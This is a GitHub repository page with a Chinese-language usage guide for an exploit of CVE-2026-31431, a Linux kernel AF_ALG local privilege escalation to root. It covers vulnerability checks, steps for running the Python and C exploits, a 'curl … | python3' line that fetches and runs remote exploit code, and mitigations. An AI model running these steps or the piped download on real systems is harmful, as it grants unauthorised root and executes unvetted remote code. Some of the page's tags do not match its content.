painoob/Copy-Fail-Exploit-CVE-2026-31431

GitHub: painoob/Copy-Fail-Exploit-CVE-2026-31431

利用 Linux 内核 AF_ALG 加密 API 逻辑缺陷,通过覆写 SUID 二进制文件页缓存实现本地提权至 root 的漏洞利用工具。

Stars: 43 | Forks: 7

# Copy Fail (CVE-2026-31431) – 漏洞利用指南 ## ⚠️ 免责声明 本内容仅供教育和授权安全测试使用。请**勿**在未获得明确许可的系统上运行。 ## 📌 概述 **Copy Fail (CVE-2026-31431)** 是一个 Linux 本地提权 (LPE) 漏洞,通过 `AF_ALG` 影响内核加密 API。 它允许无特权用户覆盖 SUID 二进制文件(例如 `/usr/bin/su`)的页缓存数据,从而获取 root 权限。 ## 🧠 前置条件 ### 系统要求 - Linux 内核(存在漏洞 —— 取决于补丁状态) - 已启用 `AF_ALG` - 已加载 `algif_aead` 模块 ### Python 漏洞利用程序要求 - Python **3.10+** - 支持以下特性: - `os.splice` - `socket(AF_ALG)` ## 🔍 检查漏洞 ``` uname -a grep -i authencesn /proc/crypto lsmod | grep alg ``` 预期指标: - `authencesn(hmac(sha256),cbc(aes))` - 已加载 `algif_aead` ## 🐍 运行 Python 漏洞利用程序 ### 1. 直接执行 ``` python3 copy_fail_exp.py ``` ### 2. 或通过 curl(如果远程托管) ``` curl https://copy.fail/exp | python3 ``` ### 3. 触发 root shell ``` su id ``` 预期结果: ``` uid=0(root) ``` ## ⚠️ 常见问题 ### ❌ 错误:`os.splice not found` 原因: - Python 版本 < 3.10 - 受限构建版本 解决方案: - 使用较新的 Python 二进制文件 - 上传静态链接的 Python 解释器 ## ⚙️ 编译 C 语言版本 ### 1. 编译 ``` gcc copy_fail_exp.c -o copy_fail ``` ### 2. 赋予执行权限 ``` chmod +x copy_fail ``` ### 3. 运行漏洞利用程序 ``` ./copy_fail su ``` ## ⚠️ 常见问题 (C) ### ❌ 漏洞利用程序运行但未获取 root 可能的原因: - 内核已打补丁 - 偏移量不正确 - 环境不匹配 ### ❌ 编译错误 安装所需的工具: ``` apt update && apt install build-essential ``` ## 🧪 故障排除 ### 检查系统是否已打补丁 ``` dmesg | grep -i alg ``` ### 验证模块 ``` lsmod | grep algif_aead ``` ## 🛡️ 缓解措施 ### 禁用易受攻击的模块 ``` echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead ``` ### 应用内核补丁 更新您的系统: ``` apt update && apt upgrade ``` ## 📌 备注 - 漏洞利用程序仅修改**页缓存**(非持久化) - 需要本地访问权限 - 默认情况下无法远程利用 ## 🧠 最终见解 如果漏洞利用失败,请考虑: - 内核已打补丁 - 环境限制 - 其他提权途径(SUID、capabilities、sudo 配置错误) ## 📚 参考资料 - https://copy.fail/ - CVE-2026-31431 ## 👨‍💻 作者备注 请仅在实验室、CTF 和授权渗透测试中负责任地使用此漏洞利用程序。
标签:0day, AF_ALG, Copy Fail, CVE-2026-31431, exp, Linux内核, LPE, Page Cache, Python, Root提权, SUID, Web报告查看器, Zero-Day, 内核加密API, 子域名枚举, 安全渗透, 提权脚本, 数据展示, 无后门, 本地提权, 漏洞复现, 系统安全, 红队, 网络安全, 逆向工具, 隐私保护, 页面缓存